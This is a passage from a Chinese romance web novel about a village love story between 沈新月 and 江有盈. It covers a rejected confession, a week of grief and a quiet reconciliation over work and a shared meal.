手机被戳弯,坏虽是没坏,音量键不太灵敏,这次去市里,顺道的功夫她也没给自己换。 沈新月说“谢谢”,数不清多少遍,“手机我很喜欢。” 虽然本来就该她赔。 可怎么说呢,也用不着买这么好的。 有三轮,有皮卡,有挖机,有店铺,有民宿小楼,听江启明说,市里还有全款买的房子和两三间门面。 这女的富得流油啊。 沈新月自己歪个脑袋在那琢磨,就冲她兜里那些钱,也该和好!而且她人还长得那么漂亮,脾气差点怎么了?谁没个脾气。 “昨天是我不对。”江有盈小桌上放了车钥匙,沈新月对面坐下。 沈新月摇头,笑容灿烂,“没事,我没放在心上。” 江有盈默默盯她几秒,目光探究,眉间少许困惑,言语上没有表露。 许久,她轻点头,“那你能想通最好。” “想通了呀!”沈新月声音脆脆的,“我昨天晚上就想通了,半夜睡不着爬起来看见你在走廊,还想跟你说话呢,后来你回屋,我想今天再说也不迟。” 沈新月后来想起,当时江有盈身上好像穿着她的红色针织衫,那必然是晚上睡不着睹物思人呐。 嘴上不好意思说,闷骚女人是这样。 沈新月这人一向大方,摆摆手,“你不用愧疚,我没放在心上。” 行吧。 江有盈点点头,“那你好好生活。” “我一直在好好生活,我今天下午还跟星星去荷塘里抓福寿螺。”沈新月低头继续摆弄手机。 “这份工作……”江有盈想过她可能会辞职,“看来你很喜欢。” “喜欢呀,累是累了点,比坐办公室有意思多了,还能锻炼身体。”沈新月对着手机包装壳拍了张照片,准备到时候发给丁苗看,叫她羡慕死。 桌上有茶具,江有盈持杯浅抿,心里说不上为什么,有点酸酸的。 这么容易就放下了,还是她们之间的感情本来就没那么深。 江启明趴在窗户那看,挠头,“太婆,我怎么觉得哪里怪怪的。” 有了感兴趣的事,即便和好,沈新月也没像从前那样,连体婴似整天挂在江有盈脖子上。 江启明在,她不用刷碗,洗完澡拿着手机回房间,先下几个游戏来耍耍。 江启明干完活上楼,换了鞋进屋,“你不找我妈呀。” “陪你呐。”沈新月正玩赛车,盘腿坐在床上跟着扭来扭去,“你妈又不会跑,你过几天就得回去上学了。” 江启明想想也是,爬上床把脑袋搁在她大腿,“那我们说定,当一辈子好朋友,就算以后真和我妈分手,也别跟我断联。” “没问题。”沈新月保证。 喜新厌旧是人之本能,江有盈想明白这点,心里并没松快多少。 有些生活上的小习惯短时间无法纠正,午夜梦回时,她手臂还会下意识往回缩,只是身边并没有人枕着她胳膊睡觉,她不会感到酸麻。 臂弯霎时一轻,失重感来袭,她惊醒,心脏在胸腔里跳得很快,有耳鸣感。 台灯光亮透过纱帐,稍缓解恐慌,她望向四周,那个持刀的黑影并没有出现,也并不应该出现。 他凭什么来索她的命?他本就该死,那把刀早就割断了他的脖子。 按开手机,凌晨三点,料定自己难以入睡,也不想再睡,江有盈起床洗涮。 她换好衣服拿上车钥匙准备离开时,寂静的夜色中忽然听见哪里有人在喊,不太确定,暂停脚步等待。 不是她的错觉,沈新月散着头发从隔壁小院跑出来。 “大半夜你去哪儿?” “你怎么*还没睡。”江有盈皱眉,新手机就那么好玩。 睡前江启明嚷嚷饿,她们去村口吃了些烤串,“太饱太咸,一直睡不踏实,刚从卫生间出来,正好看到你。” 乡下的晚上还有点冷,她抱着胳膊,“你不会现在就出去干活吧?天都没亮。” 是打算这么敷衍,但怎么想都不合理,倒显得她拐弯抹角不坦诚。 江有盈只能实话实说,“去看我妈。” “现在?”沈新月怀疑目光,低头看了眼手机,“凌晨三点。” 她是真的很喜欢她的新手机,半夜上卫生间也带着。 江有盈闭眼,点头。 “那你等我,我回去穿件衣服。”沈新月转身往回跑,“我陪你一起。” 凉拖鞋吧嗒吧嗒来,又吧嗒吧嗒走,小巷寂静,一轮完美的满月悬挂苍穹。 江有盈犹豫要不要趁机偷溜,长影在青石板小路徘徊数次,直到沈新月重新出现在面前。 她穿了条长裤,睡裙没脱,外面套一件连帽卫衣,“回到秀坪以后,我很少这么晚出来了,凌晨三点去爬山,感觉还怪有意思的。” “好吧。”江有盈双手插兜,率先几步在前领路,“你不觉得无聊就行。” 是的,应该是这样,没错。 分手后继续做朋友,当然没问题,两家离得那么近,不是亲人胜似亲人,翻脸对大家都没好处。 秀兰,启明,还有启明太奶,包括沈硕和柳飘飘,这么多人难道以后都不联系了? 江有盈意味深长看她一眼,不愧是当过大老板的人,心理素质就是好。 沈新月奇怪摸摸脸蛋,“有东西吗?” “有。”江有盈回答,充满了虚伪。 沈新月赶紧打开手机前置摄像头,扒着脸路灯下细看,“没啊。” “美貌与智慧。”江有盈淡声。 沈新月笑,终于舍得把手机揣回兜,上前挽了她胳膊,“你这张嘴,倒是难得说几句好听的。” 分手以后,她们似乎比以前更亲密了,江有盈两手插兜酷酷地走在路上,心想。 月光像融化的银箔铺满山路,轮胎碾压过山石,发出细微咯吱声,江有盈把皮卡停在半山腰,车门“砰”一声,惊飞林中夜鸮,它们扑簌着翅膀飞远。 “多少年没见这么好的月亮了。” 沈新月跟着下车,不觉困倦,甚至还有点兴奋,“记得小时候,有一天晚上我起床上厕所,看到院里一片白,把全家都喊出来,说‘下雪了下雪了’。” “你不都在房间里上厕所吗?”江有盈奇怪,“直接尿的。” “才不!”沈新月轻轻打她一下,“我那次没有啦——” “反正,我始终记得那天,月亮白得像下雪,我怎么都不肯相信,院子里跑来跑去不肯睡觉,做梦一样。” 江有盈从后备箱翻出一盏露营灯,试了试发现没电,只能放弃。 沈新月晃晃手机,“有电筒,林子里照明应该够了吧。” 看得出她真的很喜欢她的新手机,江有盈笑笑,“走大路,绕点,月亮足够。” 树梢残影掠过她高直的鼻梁,沈新月牵起她手。 江有盈身体僵硬,欲挣,又释然,“你怕黑?” “谁怕黑?”沈新月反问。 她笑容狡黠,“看得出来,你这两天睡眠很差哦。” 离了我,谁还把你当孩子宠呢,哼哼。 不敢动了,乖乖给她牵,再说,朋友之间拉拉小手不算越界吧? “我睡眠还好。”江有盈狡辩。 “那你凌晨三点跑出来干什么?” 沈新月弯腰去看她脸,“没躲在被窝里偷偷哭吧。” “吃撑了。”江有盈胡扯。 沈新月晃晃手臂,没戳穿。 还能为什么,肯定是想她想的呗,孤枕难眠,寂寞空虚。 她打定主意多晾她几天,长长记性。 山上的大路,其实就是村民上山采茶和摘蘑菇走出的土路,比林子里的小路稍宽敞些,一路没什么遮挡,只是多绕个四五百米。 月亮好,可以看到很远的地方,她们一路并肩而行,别人坟头上走过,也不觉得害怕。 “你觉得这世上有鬼吗?”沈新月晃晃手臂,看到墓碑上久远的刻字,不由产生联想。 这是她们第二次谈论起这个话题,江有盈跟之前在河边的态度截然不同。 “如果有,也是人心里的鬼。” “你心里有什么鬼?”沈新月随口。 外公走的时候她还小,这种事她心里一点概念也没有。 “索命鬼。”江有盈弯腰捡了块石头握在手里,掂量几下,扔到林子里。 “谁会来索你的命?”沈新月皱眉。 江有盈没有回答。 槐花开了,枝头如覆雪,风中满是香。来到树下,江有盈松开手,双臂展开,环抱大树。 沈新月学她动作,从另一面抱住大树,摸到她手,紧紧牵住。 江有盈挣了一下,沈新月没松。 “干嘛。”江有盈脸贴着树干说话,声音散在风里。 “好好玩!”沈新月大叫。 好玩是吧,江有盈反握住她手腕。 于是,等到沈新月玩够想松手的时候,挣不开了。 “你干嘛呀——”她笑着问。 “好玩。”江有盈学她。 行,沈新月心说你行,重新牵住,“那我们就一直捆在这里,直到天荒地老。” “好啊!”她高声:“山无棱,天地合,乃敢与君绝。” “说话算数吗?”沈新月问。 她果然爱我。 “不算。”江有盈立马翻脸。 沈新月“呵呵”,口是心非,爱惨了。 结束玩闹,她们并肩坐在树下,沈新月卫衣帽子被夜风吹得鼓起,闻到她身上苦苦的橘子花香,还有青草的涩,槐花的甜。 江有盈侧脸在月下呈现出冷玉质地,长睫投下的阴影神秘又温柔。 “我以前在农贸市场打工,杀鸡。”她忽然说起过去。 噪鹃啼叫,像婴儿的呜咽,沈新月连呼吸都紧绷,生怕打扰她。 “初中最后一个学期,准备升学,我不打算读了,离开学校,满街乱逛想给自己找个活儿干。”她继续道。 “家里没钱了吗?”这是沈新月唯一能想到的。 江有盈摇头,“有钱,但我不想用他们家的钱,我想赚钱带我妈走。” 沈新月明白了,那时她妈妈已经改嫁,她不愿过寄人篱下的生活。 江有盈低头揪了片酢浆草叶子,在指尖揉碎,酸涩汁液染绿指甲。 “她不听我的,她宁愿受罪。” 沈新月轻轻握住她的手,月光在交叠的掌纹间流淌。江有盈转过脸,“她当初听我的不就好了,我现在很厉害对吧,不上学照样赚很多钱。” “你很厉害。”沈新月一直觉得她很厉害。 “她不听我的。”江有盈重复。 她终于开始讲述过去,这非常难得,沈新月回家,把她那天说的话脑海中重复了一遍又一遍。 好多东西,越要用越是找不到,不需要的时候,它倒是自己冒出来了。 时间,耐心。她心情愉悦,终于等到了不是。 假期最后一天,清早就有半数客人退房离开,学生倒是轻松,赶上周日江启明还能多留一天,明早刘武来接,下午送她回江城。 沈新月忙完坐院里休息,有个主意在心里绕来绕去,绕了好几天,今天终于下定决定——她想准备一场正式的表白。 “好啊好啊!”江启明躺床上举双手双脚赞成。 午后阳光泼得满世界亮堂堂,江启明拉着沈新月跳上电三轮,后车斗蒲团上打盹的野猫吓得一激灵,正惊恐扭头四望,车子“咻”地弹出去,胖狸花四条腿倒腾飞快,翻过车围栏,空投进不知道谁家晒辣椒的竹簸箕。 “鲜花,蛋糕,气球,再点上几根红蜡烛,还要啥?”沈新月掰着手指头数,又担心太俗。 江启明忙着开车,脸朝向沈新月,眼睛看路,“年纪越大越喜欢俗的,你看我妈柜子里那些花睡衣。” 沈新月一拍脑门想起来,“她还有好多花内裤。” 江启明大笑,“她闷骚得很!” 是的,没错,是这样,她闷骚得很,心口不一,瞒天昧地。 一大一小,密谋串通,鲜花装点餐桌,树上挂彩绸,小院里扔得满地粉红气球。外婆打完牌回家,疑心走错,傻傻挠头,门口直转圈。 江启明赶紧把外婆拉回来,院门关上,“嘟嘟今天要表白。” 外婆“嗷嗷”点头,“我说呢,弄得花里胡哨的。” 暮色将最后一缕霞光吞没,彩灯在树梢亮起,江启明耳朵贴着门缝,听到熟悉的脚步声,连连招手,“来了来了!” 沈新月躲在角落,捧花的手汗涔涔,膝头蹭了又蹭。 江有盈推开院门的刹那,气球瀑布倾泻而下,江启明蹲在门口,拉响礼花炮,五彩纸屑纷扬如落雪,落得她满头满肩。 “满满!”沈新月从葡萄藤架后跳出,短裙俏皮,妆容精致美丽,双颊飞红。 江有盈视线定格在她的脸,随后横扫过小院,桌上未启封的蛋糕盒停留几秒,眸子迸发出短暂光彩,似那晚的明月,却又立即被乌云遮蔽。 她好像没什么反应,沈新月有点失望,还是坚持把花束递向她。 “送给你,满满。” 江有盈平静对望,没有接过,“这是做什么。” “送给你。”红玫瑰热烈纯臻,代表爱情,沈新月嘴角的笑凝滞半秒,已经懂得。 这是第二次还是第三次了,再看不懂人家脸色,自己都要怀疑自己是不是脑子有问题。 但她还是决定把过程走完。 深吸一口气,保持笑容,沈新月调整好音色。 “总觉得我们之间的开始不够正式,所以特意准备了今天这些,想让你开心,也有好多话想对你说,尤其那天,我们在山坡上,你告诉了我过去的一些事,我很高兴得到你的信任,所以想再加深下我们之间的关系。” “加深?”江有盈狐疑挑眉。 沈新月保持捧花姿势,不动。 “起初我对你确实更多是依赖和崇拜,但爱不正来源于此吗?我想了解你并不单纯是因为好奇,因为我爱你,我喜欢你,我也渴望能回馈你的关心体贴,想跟你长长久久在一起,给你温暖。” 她完完全全表达了自己的心,整个胸膛却被苦涩占据,声音也失去了勉力维持的最后一丝故作轻快和甜美。 江有盈神态愈发沉静,甚至是冷漠,“沈新月,你是不是搞错了一件事,我们已经分手了。” 手臂发酸,沈新月有些握不住花了。 “我没有搞错。” 她只是自欺欺人,单方面跟她和好,大概是嫌自己死得不够透,休息几天攒够力气搓了个狠的。 很奇怪,沈新月还不太伤心。 意料之中,她买花的时候就想到了,等待老板包扎花束时也在给自己做心理建设。 她就是想问个清楚,“你真的一点也不喜欢我吗?我为你准备的这些,你的心一点波澜也没有吗?” “很无聊。”江有盈答得干脆。 天色完全暗下来,树梢彩绸随风飘动,黑影遮挡,她的脸半明半暗,情绪难辨。 手臂脱力,沈新月泄气后退,手指仍倔强不肯松,指腹扎进花刺,细微痛感也在某种程度让她保持清醒。 “那我们之前算什么呢?我知道你心里有苦衷,我说过我可以等,你一次又一次推开我,但我知道那都不是你的真心,所以还在……” “你觉得你很了解我吗?”江有盈打断。 她周身散发出强烈寒意,尖锐话语和疏离态度竖起防备的高墙。 沈新月头破血流,撞不开一丝缝隙。 “如果你不愿意让我了解,那我永远也不会了解。” “我不需要谁来了解我,我不是没满月的小孩张嘴只会要奶喝,我现在有能力抓住我想要的一切!” 江有盈音调骤然拔高,愤懑到极点,旁人口中的“爱”对她来说似乎是一种羞辱。 江启明弱弱喊了一声“妈”。 她胸口剧烈起伏,双拳紧握,克制着。 花束掉地,沈新月摇头,明白了,“我的爱对你来说,或许是一种负担。” “没错。”江有盈转过脸,逼近她,目光淬毒,“你的爱如果只是这满地气球和纸片,那我只能将其归类为垃圾,廉价又可笑,你们城里人玩的那套我根本看不上也不需要。” 沈新月确实想不到更有创意的点子了,她认为她们之间最重要的是坦白和沟通,气球、鲜花和礼炮,是为了活跃气氛,引导她打开心扉。 脸蛋因羞愤而极速涨红,沈新月咬唇,双眼茫然睁大,无从辩驳。 眼泪无知无觉,布得满脸,她还在尝试最后的努力,“那么,那天晚上,你为什么答应让我跟你去看妈妈。” “不是你死皮赖脸缠着我的吗?”江有盈满脸奇怪。 “我对你好,不过看你可怜罢了,你那时候样子有多糟糕自己没忘吧。” 小院寂静,如同死去。 “对不起。”手心胡乱抹脸,顾不得睫毛糊掉,粉底脱落,心痛到难以呼吸,沈新月连续后退,直到抵墙,终于找到一个支撑点,不至于倒下。 她缓缓滑坐在地,把自己团成小小一只。 “对不起,我以后再也不会缠着你了。” 第53章 “不合适。”江有盈说。 然后撂下满桌鲜花蛋糕,潇洒走人。 她还说,你是新月,代表希望、纯洁和新生,新月在天,满月在渠,你我本就云泥之别。不合适。 沈新月很想问问她,凭什么满月在渠,谁告诉你,谁规定的满月在渠。 但都不重要了,她说在哪儿就在哪儿。 沈新月蹲坐在葡萄藤架和东厢房之间的夹角,眼泪怎么抹也抹不尽。 她本就情感丰富,心思敏锐,短视频刷到伤感的BGM搭配矫情文案,都能莫名其妙红了眼眶。 沈硕说,她天生该吃演员饭,但她没有选择那条路。 又一次人生的至暗时刻,沈新月想,如果当时乖乖听从妈妈的安排,她或许就不会经历这些,她的眼泪可以发挥出更大的价值,而不是此时此刻,自哀自怨。 不过就刚才那番对话分析,江有盈明显比她更适合当演员。 多会演! 是了,事到如今,沈新月还是没办法真正去恨,也不会轻易相信她嘴里那些刀子样的话。 回顾她们过去的点点滴滴,江有盈并没有对她做出什么伤天害理的事。 她把她从乡道上接过来,带她洗澡,给她买咖啡,提供事业和金钱支持,帮助她度过那段最为黑暗的时期。 是满月,皎白的月光,记忆深处童年那雪般纯洁的月光,许多年后奇迹再临,浩浩洒满心田。 沈新月始终记得她的好,所以才会几次三番不管不顾迎头往上撞。 “嘟嘟姐——”江启明两只小手搭在沈新月膝盖,“对不起,今天没有帮到你。” 深吸气,让大脑充氧,沈新月摇头,“不关你的事,是我太不自量力,还麻烦你跟我一下午在镇上跑来跑去。” “我陪你,因为你是我的好朋友,虽然我们认识才几天,还有就是,我也希望妈妈能好好谈一场恋爱。” 江启明拿纸巾给她掖掖下巴挂的泪,试图安慰,“而且我妈这人……欸,以前也不少人跟她表白,她还动手呢。” 沈新月听刘武说过,“那我还得感谢她手下留情了。” 江启明晃晃她腿,说“不是啊”,“她就是别扭。” “不重要了。”沈新月无力道。 江有盈到底是个什么样的人,她没兴趣再探究,都不重要了。 外婆房间里还藏了捆仙女棒,如果一切顺利,她会用打火机点燃,双手挥舞着走到她们面前,说几句吉祥话。 现在显然是不需要。 外婆打开门走出来,去厨房把烧好的啤酒鸭热热端上桌,“先吃饭吧。” 啤酒鸭是沈新月做的,网上搜的教程,因缺乏经验,前后忙活快两个小时,每一个步骤都不敢落下。 想通过这种方式告诉江有盈,她很聪明也很勤快,不懂的都可以学,别嫌弃她。 擦干脸上的泪,沈新月回到饭桌,再伤心再难过,饭总是要吃,蛋糕也照切不误。 还有,她其实不需要向任何人证明自己。 只是情绪低落,状态颓萎,难以自控,眼泪滴落在蛋糕上的红色玫瑰裱花,血一样流。 她一勺接一勺往嘴里塞,没有浪费一口食物,回到房间,肚子撑得要爆炸。 五分钟后,她跑进卫生间,抱着马桶把胃吐得干干净净。就像她跟江有盈的这段感情,眼睛看到了,嘴巴尝到了,最后却什么也没剩,水一冲“哗啦”就瞧不见,流进下水道。 正对应江有盈口中的“垃圾”。 “砰——” “砰——” 江启明把气球扎爆,小院满地纸屑打扫干净,沈新月站在二楼,看树梢上挂的彩绸被风吹落,一切惨淡收场。 这天晚上,江启明陪在身边,沈新月状况还好,只是不时埋怨说“你都不帮我”。 小孩姐很无奈,“她是我妈嘛,我怎么管得了她。” 沈新月说,你骂她呀,你说,江有盈你这个狼心狗肺的东西。 江启明说你咋不骂,沈新月说当时太难过忘记了。 江启明说她不敢骂,又问:“你敢这么跟你妈说话?” 沈新月想了想,“我都是用头撞墙。” 江启明嘴角抽搐,“你还不是跟我一样窝囊。” 眼泪润湿鬓角,沈新月翻身抱住枕头。 “我是窝囊废。” 江启明第二天上午走了,不想跟那人碰面,沈新月没去送,手机上说“再见”。 [还有一个多月我就放暑假了。] [乖乖在家等我!] 江启明叮嘱。 沈新月又哭又笑,咋跟小孩姐谈上似的。 [等你。] 之后几天,沈新月每天躺在房间,除了喂鸡扫院,连楼都不下。 外婆给她送饭,她根本没胃口,不想让老人家担心,强忍着不适吃完,几分钟后冲进卫生间吐掉。 她就是难受,在家不需要非逼着自己坚强面对,一个星期下来,脸都尖了。 无聊,但什么也不想做,刷手机,孤独无助时疯狂在网上给自己算命,生活接二连三的打击让她对未来充满惶恐,只能求助玄学,寻找心理安慰。 要等多久运势才会上升,关于爱情那个人会不会回心转意? 那人做错了事,伤害了别人感情,她有受到良心的谴责吗? 大数据捕捉到偏向,不得了,大众塔罗占卜铺天盖地,塔罗师口中的每句话都准确无误对应到自己身上,那叫一个灵验。 她爱我、她不爱我、她爱我、她不爱我…… 反反复复。 还有星座,上升,月亮,太阳,包括传统的八字和生肖。 沈新月甚至听信谗言,蹲直播间给自己买了好几串开运水晶,主播说在某某寺庙开过光的,保证灵验。 中西结合,如虎添翼。 她的状态也时好时坏,早上起床,精神抖擞,蹦蹦跳跳,口中胡乱哼唱“不爱我就拉倒”。 夜深人静,在不开灯的房间,哭到眼皮刺痛,呼吸不畅。 为什么呢?沈新月奇怪自己为什么这么伤心,前所未有的经历。 归根结底,江有盈从来没有真正伤害过她。 只是不爱。 ——“她不爱我。” 既然不爱,为什么要送她鲜花,选择跟她在一起,说幻想,说思念,说渴望,说那些女人都不是她的正缘,配不上她。 大概,也是为了验证自己。起初不过是同情心作祟,或者她喜欢的只是自己幻想里的那个沈新月。 真人来到面前发现差距过大,感到失望。 沈新月瘦了十斤。 “是不是有啥大病?” 外婆捏着她手腕,想带她去村里老中医那看看。 沈新月只能坦白,并承诺以后每天都好好吃饭。 外婆唉声叹气,拿她没办法。 “去把江有盈打一顿。”沈新月半开玩笑。 外婆说你咋不自己去。 是啊,她为什么不自己去,她又没犯错没对不起谁,有什么不敢见人。 试着走出房间,沈新月站在院子里,阳光灿烂得叫人心里发恨。 离开屋檐下阴影处,手脚晒晒,阳光又让人幸福得直发抖。 手机提示音响,沈新月手搭凉棚眯眼看。 [你的账号至今没有发布一条视频。] 江启明说。 沈新月走出小院,粉红凉拖这段时间风里来雨里去,有些褪色,但很贴近她现在心情,淡淡的,刚刚好。 过刚易折这个道理她现在知道不算晚,她们全家的赌运都被外婆拿走了,她每次都赔得血本无归。 ——“以后不许这样了。” 沈新月告诉自己,真诚要留给同样真诚的人。 她沿着河坎一直走,走过她们曾漫步的石桥,远远,看到荷花全都开好了。 蝉还是死命在叫,沈新月去鸭棚把船拖出来,跳上船挑了片大大圆圆的荷叶顶在脑袋上遮阳。船桨拍打水波,惊起芦苇荡里瞌睡的水鸟,浮萍顺着水流打旋,荷香流淌在鼻尖。 小亭一角飞檐碧叶深处半隐半现,沈新月双臂枕头,仰面望天,荷塘里的小鱼长大了不少,水中跃起啄食花瓣,沁凉的水滴飞溅在她的脸颊。 蜻蜓飞过,身形轻捷优雅,鸭群列队无声滑行,柳枝儿风中摆,如少女浣衣,热风裹挟着草木蒸腾的辛辣气息拂过,将最后一点执念晒成轻烟。 她迷迷糊糊睡过去,直到小船靠岸,将她晃醒,伴随天边遥远滚滚闷雷。 夏天的雨说来就来,沈新月把船拖回鸭棚,头顶黑压压一片。 豆大雨珠砸下,狂风乱舞,满池碧玉摇晃不休,沈新月急奔向小亭避雨。 福至心灵,眼角余光扫到什么,她迟疑着走向其中一根亭柱。 ——“新月亭,谷雨江有盈立”。 亭中静坐,直至雨停,沈新月踩水回家。 跟外婆在巷口相遇,老太太还以为认错人,眯着眼半天不敢认。 “外婆!”沈新月招手大声喊。 “欸,你……”外婆快步走向她,两只手把她上上下下盘一遍,确定没哪里受伤也没淋雨,“啥时候出来的。” 沈新月笑得不行,“我啥时候进去的我咋不知道。” 继而正色,“江有盈回来了吗?” “你还想干嘛。” 外婆扯着她要回家,“算了吧嘟嘟。” 沈新月不打算干嘛,“好好工作,好好生活。” 她去隔壁小院等,太阳又出来了,才几天没来,感觉有一个世纪那么漫长,瓦盆里的蓝雪花枝条疯长,三角梅开成海,茶花亮亮的,叶子上好像抹了层油…… 院门虚掩着。 推开时合页发出苍老的“吱扭”声,没想到她会来,江有盈脚步一顿,僵在原地。 沈新月正弯腰给月季修剪枝叶,手腕一大串珠子,五颜六色,日光下折射出细碎虹光。 心脏一阵紧缩,江有盈明显察觉到她瘦了很多,裙下小腿细直,腰间空荡荡。 她们有一个多星期没见面,听外婆说她连门都不出,整天躺着。那她应该不怎么吃东西,往常她最是爱吃,饿极的时候还有点急性子,狼吞虎咽。 江有盈很想见她,哪怕只有一面,想看看她怎么样了,过得好不好。虽然心里很清楚答案。 沈新月房间窗户始终紧闭,不留一丝窥探机会,下楼活动,也刻意避开两人可能会碰面的时间。 原来缘分并非纯然天意,也是另一个人的想方设法。世上哪有那么多凑巧。 那天之后,说不后悔是假,然后悔无用。江有盈大脑一片空白,想不起自己当时究竟说了什么,做了什么,空白在沈新月封闭自己的时间持续扩张,她的世界失去所有颜色。 如果早知道她反应那么大…… 是幻觉吗?江有盈不太确定,沈新月不可能主动来找她。 她瘦了,是的,但她一直很瘦。 不,是更瘦了。 夕阳从她耳后切来,她的睫毛和头发是温暖的金棕色,江有盈下意识屏住呼吸,想起掉落在青石砖上被践踏成泥的真心,沟壑中蜿蜒出血色,那个团缩在墙角哭到快要窒息的沈新月,此刻正从容切断她亲手栽植的花木。 过去,江有盈时常在想,为什么会喜欢上沈新月,她从来目标清晰,以解决问题为主,那个照片上的女孩能让她得到什么? 吃饭睡觉是为了活着,赚钱同样,走进自然,心情舒畅,逃离黑暗同样。 是她太孤单了,她幻想出一个完美爱人不离不弃陪伴在身边,共情她所有创伤,奉献亲吻和拥抱。 可当那个人真正出现在面前,像画上的仙女落入凡尘,她却退缩。 那怎么会是真的,那明明只是她的妄想! 没有人会爱你皮囊之下早就腐坏发臭的残躯,所以江有盈推开她,在被抛弃之前。 不合适是真的,她们并非同类,太阳底下站久了,皮肤会发烫受伤。 可为什么,像花盆底下的蛐蛐意外暴露在天光下,急忙忙躲回老巢,却一点没觉得安稳。 “你回来了。”沈新月听见门响的瞬间回头,晃晃手里的剪刀,“月季花长好多红蜘蛛,为避免虫害扩大,我把它剪了。” 她想起在网上学的口诀,“东不留低,西不留高,上不留枝,下不留根,哈哈——” 月季盆里只剩一根桩,被她剪秃了。 “你……”江有盈指尖无意识摩挲着车钥匙的凹槽,设想过千万次重逢的场景。 红肿的眼眶,颤抖的质问,或是歇斯底里的控诉,她想过的,该如何安抚她。 都没有,沈新月平静告诉她,蓝雪花该换盆了。 “加点羊粪和骨粉进去,否则今年就没花看了,你看几月了还没打蕾。” “哦,好。”江有盈应下。 想了想,沈新月又说没事,“到时候我来弄吧。” 飞快逃走,去端茶,江有盈记得上次她也是差不多的反应,像什么都没发生过,她们和好如初。 是真的吗?沈新月没跟她计较,又回到她身边。 手指飞快缩回,被烫到,江有盈低呼一声。 沈新月赶紧跑过来,“没事吧,我刚泡的茶,还很烫的忘了跟你说。” 她低头查看,没伸手,转身跑去冰箱拿根冰棍出来,“你稍微缓解下。” “谢谢。”江有盈接过。 从极热到极寒,瞬息之间。 “没关系,隔壁邻居的,别这么客气,再说你还是我老板呢。” 沈新月这次回来,是想告诉江有盈,她要继续上班。 想去采荷,想接待一位又一位远道而来的客人,跟她们天南海北胡侃,她觉得很有趣。 “没跟你请假,旷了一个多星期,心里很过意不去,所以专程过来道歉,晚上去我家吃饭吧。” 沈新月站在树荫下,房间里闷了太久,脸色苍白,笑容却明媚灿烂,“我下厨,做啤酒鸭。” 她这次一定比上次做得更好。 她不再小心翼翼,即便失手也绝不责备自己,轻松是最好的调味料。 一片落叶不知从哪里来,擦着江有盈手背落下。 “我看荷花都开了,但没有采摘痕迹,你没雇别的工人吗?”沈新月问道。 江有盈又闻到熟悉的木质香,这味道曾浸透她每个失眠的夜,此刻却让她倍感陌生。 她低头看沈新月小腿,疤痕消失,她痊愈了。 “太忙。”舌尖尝到铁锈味,江有盈嗓音干哑,“最近都忙。” 沈新月合掌轻笑,手腕一大串珠子跟着哗啦啦响,“那不用雇人了,我来,晚饭后你把地址给我,明天我早起去采。” 江有盈抬头的瞬间,发现她耳垂多了枚银钉,月牙形状,随着转头动作晃出泠泠清光。 “好啊,好。”江有盈再次低头,冰棍塑料包装纸捏得稀哗响,手心一片冰凉。 “其实还有件事情想跟你说。” 铺垫半天,沈新月手指勾过耳边碎发,怪不好意思的。 倏地抬头,江有盈双目迸发出晶润光亮。 “你说。” 沈新月笑嘻嘻搓手指,“我记得今天是发薪日,嘿嘿——” 蝉声戛然而止。 心跳狂乱,尔后骤停。江有盈抿唇,轻点头,克制颤抖的呼吸,冰棍放在茶桌,转身上楼。 “跟我来吧,一早就为你准备好了。” 沈新月面露犹豫,似乎不太情愿,继而想到什么,眉眼舒展开,沉了口气,点点头跟上她脚步。 江有盈从一开始就是给她发现金,这次也不例外,钱装在红色封包,其上四个烫金大字——日进斗金。 沈新月笑得合不拢嘴,启开红包点数。 “不会少你的。”江有盈温和道。 “江师傅误会了。”沈新月抽出几张粉钞归还,“我就知道你会多给,休息那么久啥活儿没干,这钱我不好意思拿。” 她伸长手臂,江有盈沉默着,不接,她干脆把钱搁桌上。 “另外还有件事。”沈新月把钱揣进连衣裙侧兜,隔着裙布轻拍两下,“我想进你房间收拾东西。” 终于。 房间门其实一直没锁,即便外出。 好多次,忙完从外面回来,江有盈从踏入小院开始,就在四处搜寻她可能光临的痕迹。 遗忘在晾衣绳上的睡裙,厨房门口的瓷勺碎片,垂头丧气的绣球花…… 她每天期待着,期待也每天落空。没有人给她收衣服,打扫庭院,浇花。 从楼梯上走过,每一次,她脚步不由自主变得沉重。总不免想起那天的对峙,幻听手机摔砸地面发出的砰响,以及沈新月悲痛的哭喊声。 ——“是你先送我花的。” 行至走廊,还不算彻底绝望。 房门没关,一直给她留着,盼着她来,江有盈幻想她正靠坐在床头摆弄新手机,看有人推门而进,气鼓鼓“哼”声,倒下翻身背对人。 ——“你还知道回来啊!” ——“我每天在家守着你,小媳妇一样。” ——“真有那么多事情可忙?” 是她说过的话,有阵子确实忙。 门窗都开着,大风穿堂而过,误入的蜻蜓累死在窗台,最靠近出口的地方。 四处都没有她的影子,她伤透心,不会再来了。 江有盈从来没这么后悔过。 不,准确说,这是她人生初次尝到悔意。 往前走,走下去。 风雪*无阻,生死不论。 她的人生字典从来没有“后悔”二字。 可总是要经历的。 她试图抵抗,用工作,在劳动中,然而疗效甚微,失去爱的滋养,她本就残缺的身体开始真正的腐烂。 总有空闲的时候,喝水,吃饭,等待工人就位,业主开门,痛意悄无声息蔓延,她难以保持专注。 跟着搬货,又一次失手,几百斤重的大落地玻璃险些砸到脚,刘武破口大骂,不许她再跟去现场。 为什么,明明说分手的是她。 此刻,最终审判终于来临,沈新月说,要进房间拿东西。 说分手的是她,江有盈没问,当然也没资格挽留。 她错开半步。 “那我进去喽?”沈新月手往前指了下。 难道我还不准你进吗?你知不知道,我一直在等你回来。 张口,却无言,江有盈想起十五岁升高中那年,她某天忽然决定不再上学,要自力更生,担心妈妈发现,特意选在离家很远的菜市场。 老板说,杀只鸡来看看,她抓起鸡脖,将匕首横握,血溅了一手,那么热,打湿校服袖口和里面那件毛衣,又那么冷。 现在角色互换,她变成当年自己手里提的那只鸡,她不能放过自己。 “我收好了。”沈新月重新站到她面前。 神色恍惚,江有盈迟钝点头。 沈新月伸手晃晃,“你怎么了。” 江有盈目光锁定了那只手,跟随她手腕珠串晃动。如果、如果她还肯回来的话,这次一定不会推开。 “没事。” 闭眼,吸气,江有盈转身,“你走吧。” 茶杯、外套、拖鞋,明明没几样东西,房间却空了大半,连她的气味也被风带走。 那些鲜亮美丽的点缀不见,纱帘飞卷,像芒草翻滚的荒原,她的世界只余一片枯萎的衰黄。 第54章 沈新月离去时脚步轻快,刚发了工资,心情很好,一路哼着小曲“蹬蹬”下楼。 江有盈从房间门口追至二楼围栏边,手指紧扣在坚硬木料,手背浮现条条清晰的骨脉纹路。 回头看看我好吗?哪怕只一眼。 一步、两步,屋檐下,大树旁,盛开的花丛边,她就要走了…… 似有所感,院门前,沈新月回头招手。 “欸!收拾好记得过来吃饭。” 